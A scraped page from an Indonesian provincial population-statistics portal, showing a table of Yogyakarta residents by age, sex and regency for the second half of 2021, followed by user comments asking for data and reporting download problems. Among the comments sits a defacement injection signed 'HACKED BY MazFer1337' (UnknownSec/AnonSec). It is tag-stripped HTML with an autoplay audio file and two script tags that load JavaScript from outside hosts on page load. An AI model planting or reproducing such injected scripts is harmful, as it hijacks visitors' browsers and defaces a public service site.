Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaKULON PROGOBANTULGUNUNGKIDULSLEMANKOTA YOGYAKARTATotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4.7024.321 9.02310.86610.064 20.9307.9877.358 15.34511.59910.869 22.4684.1803.861 8.04139.334 36.473 75.807
2 tahun2.8402.537 5.3776.6046.182 12.7864.7144.460 9.1747.4026.867 14.2692.6642.520 5.18424.224 22.566 46.790
3 tahun2.9922.637 5.6296.5586.263 12.8214.7814.410 9.1917.4837.040 14.5232.8062.584 5.39024.620 22.934 47.554
4 tahun2.7982.679 5.4776.6306.040 12.6704.5774.328 8.9057.5017.130 14.6312.7552.485 5.24024.261 22.662 46.923
5 tahun2.9812.838 5.8196.6396.312 12.9514.7944.433 9.2277.8737.362 15.2352.7602.685 5.44525.047 23.630 48.677
6 tahun3.1412.867 6.0086.6876.428 13.1154.8304.539 9.3697.8307.399 15.2292.8022.698 5.50025.290 23.931 49.221
7 tahun3.1042.934 6.0387.0266.690 13.7164.9824.757 9.7398.0467.752 15.7982.9872.916 5.90326.145 25.049 51.194
8 tahun3.0152.820 5.8357.1746.825 13.9995.1064.695 9.8018.2857.834 16.1193.0182.836 5.85426.598 25.010 51.608
9 tahun3.2372.996 6.2337.4626.849 14.3115.1464.759 9.9058.3588.193 16.5513.0253.001 6.02627.228 25.798 53.026
10 tahun3.2963.056 6.3527.3696.993 14.3625.3774.958 10.3358.6188.111 16.7293.1542.983 6.13727.814 26.101 53.915
11 tahun3.3383.166 6.5047.3187.022 14.3405.4645.155 10.6198.6338.095 16.7283.0673.015 6.08227.820 26.453 54.273
12 tahun3.4763.197 6.6737.7477.156 14.9035.6155.137 10.7528.7288.506 17.2343.1063.045 6.15128.672 27.041 55.713
13 tahun3.4343.182 6.6167.8537.324 15.1775.5875.171 10.7589.0008.322 17.3223.3893.274 6.66329.263 27.273 56.536
14 tahun3.2913.125 6.4167.4497.013 14.4625.4575.080 10.5378.4238.001 16.4243.3393.160 6.49927.959 26.379 54.338
15 tahun3.2743.020 6.2947.1146.871 13.9855.2554.890 10.1458.4788.098 16.5763.3563.188 6.54427.477 26.067 53.544
16 tahun2.9732.949 5.9226.9896.433 13.4225.1034.687 9.7908.1817.597 15.7783.2583.140 6.39826.504 24.806 51.310
17 tahun3.3333.052 6.3855.9955.716 11.7115.0474.823 9.8707.1496.853 14.0023.2883.253 6.54124.812 23.697 48.509
18 tahun3.1133.095 6.2086.9126.422 13.3345.2455.024 10.2698.1507.687 15.8373.3653.119 6.48426.785 25.347 52.132
19 tahun3.1993.057 6.2566.9296.464 13.3935.3225.026 10.3488.0017.720 15.7213.3373.219 6.55626.788 25.486 52.274
20 tahun3.2913.199 6.4906.9126.648 13.5605.6305.352 10.9828.2487.791 16.0393.4593.273 6.73227.540 26.263 53.803
21 tahun3.3993.273 6.6727.1856.940 14.1255.8785.549 11.4278.6128.165 16.7773.5583.369 6.92728.632 27.296 55.928
22 tahun3.2293.213 6.4426.6196.430 13.0495.9025.424 11.3267.8647.449 15.3133.1453.017 6.16226.759 25.533 52.292
23 tahun3.1723.023 6.1956.2856.346 12.6315.2054.883 10.0887.4127.217 14.6293.0113.015 6.02625.085 24.484 49.569
24 tahun3.2613.136 6.3976.5666.458 13.0245.4815.177 10.6587.9177.381 15.2983.1653.016 6.18126.390 25.168 51.558
25 tahun3.4563.236 6.6926.6286.779 13.4075.7435.235 10.9788.0447.789 15.8333.1053.145 6.25026.976 26.184 53.160
26 tahun3.2983.104 6.4026.9346.999 13.9335.7475.420 11.1678.0167.926 15.9423.0713.055 6.12627.066 26.504 53.570
27 tahun3.1003.039 6.1396.9286.788 13.7165.5125.271 10.7837.7157.639 15.3543.0243.012 6.03626.279 25.749 52.028
28 tahun3.2003.095 6.2956.9076.701 13.6085.6695.266 10.9357.6297.637 15.2662.9462.998 5.94426.351 25.697 52.048
29 tahun3.0963.042 6.1386.8206.990 13.8105.5155.120 10.6357.7357.746 15.4812.9533.010 5.96326.119 25.908 52.027
30 tahun2.8792.940 5.8196.6066.781 13.3875.3135.170 10.4837.4437.642 15.0852.9443.003 5.94725.185 25.536 50.721
31 tahun2.7942.772 5.5666.6496.654 13.3035.0644.957 10.0217.4347.343 14.7772.7822.889 5.67124.723 24.615 49.338
32 tahun2.7282.832 5.5606.6816.705 13.3864.9394.570 9.5097.1867.518 14.7042.8802.895 5.77524.414 24.520 48.934
33 tahun2.7042.615 5.3196.2926.540 12.8324.5484.489 9.0376.9407.328 14.2682.6632.804 5.46723.147 23.776 46.923
34 tahun2.6892.703 5.3926.4906.554 13.0444.4424.487 8.9297.0327.396 14.4282.6272.896 5.52323.280 24.036 47.316
35 tahun2.7722.762 5.5346.5076.626 13.1334.6184.575 9.1937.3367.552 14.8882.8782.951 5.82924.111 24.466 48.577
36 tahun3.0263.089 6.1157.1657.220 14.3855.6095.056 10.6657.7537.955 15.7082.9723.121 6.09326.525 26.441 52.966
37 tahun3.0623.198 6.2607.4137.547 14.9605.4875.234 10.7218.2098.426 16.6353.1693.204 6.37327.340 27.609 54.949
38 tahun3.1573.213 6.3707.7227.573 15.2955.4655.225 10.6908.5788.719 17.2973.1643.324 6.48828.086 28.054 56.140
39 tahun3.2373.313 6.5508.0378.057 16.0946.0405.879 11.9199.0139.197 18.2103.4343.550 6.98429.761 29.996 59.757
40 tahun3.3233.154 6.4777.6957.412 15.1075.3275.347 10.6748.6588.770 17.4283.2763.367 6.64328.279 28.050 56.329
41 tahun3.1093.093 6.2027.5187.243 14.7615.6155.394 11.0099.0168.858 17.8743.2973.320 6.61728.555 27.908 56.463
42 tahun3.2643.282 6.5467.5167.494 15.0105.6185.490 11.1088.6878.882 17.5693.0873.314 6.40128.172 28.462 56.634
43 tahun3.2383.233 6.4717.6717.262 14.9335.5795.196 10.7758.6538.607 17.2603.1233.296 6.41928.264 27.594 55.858
44 tahun3.0032.966 5.9697.0826.974 14.0565.0424.834 9.8768.3068.451 16.7572.9803.186 6.16626.413 26.411 52.824
45 tahun3.1053.024 6.1297.1527.029 14.1815.2705.344 10.6148.3888.531 16.9193.0393.257 6.29626.954 27.185 54.139
46 tahun3.2103.227 6.4377.2407.064 14.3045.5215.611 11.1328.1498.576 16.7252.9393.122 6.06127.059 27.600 54.659
47 tahun2.8212.908 5.7296.6996.506 13.2055.2055.300 10.5057.7797.912 15.6912.8353.058 5.89325.339 25.684 51.023
48 tahun2.9883.071 6.0596.6106.822 13.4325.1935.624 10.8178.0348.130 16.1642.8443.021 5.86525.669 26.668 52.337
49 tahun3.0963.139 6.2357.0577.316 14.3735.8316.104 11.9358.2158.520 16.7352.9563.209 6.16527.155 28.288 55.443
50 tahun2.8072.875 5.6826.1346.293 12.4274.9185.237 10.1557.5327.627 15.1592.9123.150 6.06224.303 25.182 49.485
51 tahun2.9883.006 5.9946.8146.923 13.7375.7516.027 11.7787.7008.067 15.7672.8233.042 5.86526.076 27.065 53.141
52 tahun3.2283.404 6.6327.0737.229 14.3026.1676.372 12.5398.0808.491 16.5712.7673.180 5.94727.315 28.676 55.991
53 tahun3.2473.357 6.6046.7947.191 13.9855.5665.900 11.4667.6378.207 15.8442.7383.160 5.89825.982 27.815 53.797
54 tahun3.0123.229 6.2416.3266.440 12.7664.8765.262 10.1387.0147.355 14.3692.5942.981 5.57523.822 25.267 49.089
55 tahun2.8232.895 5.7185.8756.124 11.9994.6125.132 9.7446.7867.113 13.8992.4462.865 5.31122.542 24.129 46.671
56 tahun3.1633.483 6.6466.6967.195 13.8915.2016.085 11.2866.8727.588 14.4602.7733.101 5.87424.705 27.452 52.157
57 tahun2.7212.859 5.5805.6105.998 11.6084.1584.477 8.6355.8756.621 12.4962.4002.702 5.10220.764 22.657 43.421
58 tahun2.5412.955 5.4965.5346.196 11.7305.0315.628 10.6595.9036.510 12.4132.5402.846 5.38621.549 24.135 45.684
59 tahun2.5082.777 5.2855.6485.922 11.5704.4324.898 9.3305.6436.425 12.0682.3092.675 4.98420.540 22.697 43.237
60 tahun2.3252.447 4.7724.7385.030 9.7683.8324.136 7.9685.0285.525 10.5532.0302.391 4.42117.953 19.529 37.482
61 tahun2.8153.220 6.0355.7806.532 12.3125.0595.987 11.0465.7716.856 12.6272.1412.554 4.69521.566 25.149 46.715
62 tahun2.7472.841 5.5885.3625.753 11.1154.3684.600 8.9685.4185.740 11.1582.1162.463 4.57920.011 21.397 41.408
63 tahun2.1502.420 4.5704.7745.014 9.7884.1225.032 9.1545.0025.787 10.7891.9242.259 4.18317.972 20.512 38.484
64 tahun2.0342.200 4.2344.3934.631 9.0243.5444.214 7.7584.5734.948 9.5211.8492.126 3.97516.393 18.119 34.512
65 tahun1.8872.121 4.0083.9974.220 8.2173.8194.389 8.2084.5555.164 9.7191.6791.992 3.67115.937 17.886 33.823
66 tahun2.0942.372 4.4664.1444.153 8.2973.9924.735 8.7274.1214.659 8.7801.6341.975 3.60915.985 17.894 33.879
67 tahun2.0352.181 4.2163.8673.704 7.5713.4153.416 6.8314.1034.132 8.2351.5161.785 3.30114.936 15.218 30.154
68 tahun1.5231.583 3.1063.0452.963 6.0083.2973.353 6.6503.5273.864 7.3911.3841.643 3.02712.776 13.406 26.182
69 tahun1.5591.694 3.2532.9462.849 5.7953.0553.025 6.0803.3563.423 6.7791.2591.431 2.69012.175 12.422 24.597
70 tahun1.4241.334 2.7582.4002.430 4.8303.4693.055 6.5242.5602.808 5.3689981.259 2.25710.851 10.886 21.737
71 tahun1.5321.839 3.3712.5623.018 5.5803.2484.107 7.3552.6813.390 6.0718711.106 1.97710.894 13.460 24.354
72 tahun1.2161.619 2.8351.9942.424 4.4182.1062.451 4.5572.0772.405 4.482763887 1.6508.156 9.786 17.942
73 tahun1.0651.244 2.3091.7282.099 3.8272.5373.172 5.7092.1803.027 5.2077181.008 1.7268.228 10.550 18.778
74 tahun8531.135 1.9881.3621.754 3.1161.6332.203 3.8361.5472.009 3.556517696 1.2135.912 7.797 13.709
75 tahun7751.057 1.8321.1411.674 2.8151.5622.357 3.9191.5972.214 3.811427690 1.1175.502 7.992 13.494
76 tahun1.0831.597 2.6801.5832.474 4.0572.2863.226 5.5121.7742.360 4.134492744 1.2367.218 10.401 17.619
77 tahun9011.244 2.1451.3491.819 3.1681.2001.529 2.7291.4431.626 3.069404583 9875.297 6.801 12.098
78 tahun662897 1.5591.1911.509 2.7001.5882.297 3.8851.5891.885 3.474374661 1.0355.404 7.249 12.653
79 tahun8431.116 1.9591.5601.847 3.4072.0992.419 4.5181.7212.000 3.721431685 1.1166.654 8.067 14.721
80 ke atas4.5427.104 11.6466.98811.265 18.2539.99616.111 26.1077.42310.967 18.3901.7643.615 5.37930.713 49.062 79.775
Jumlah219.347223.527442.874476.315480.198956.513383.336391.105774.441538.827549.2821.088.109202.575212.934415.509 1.820.400 1.857.046 3.677.446
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih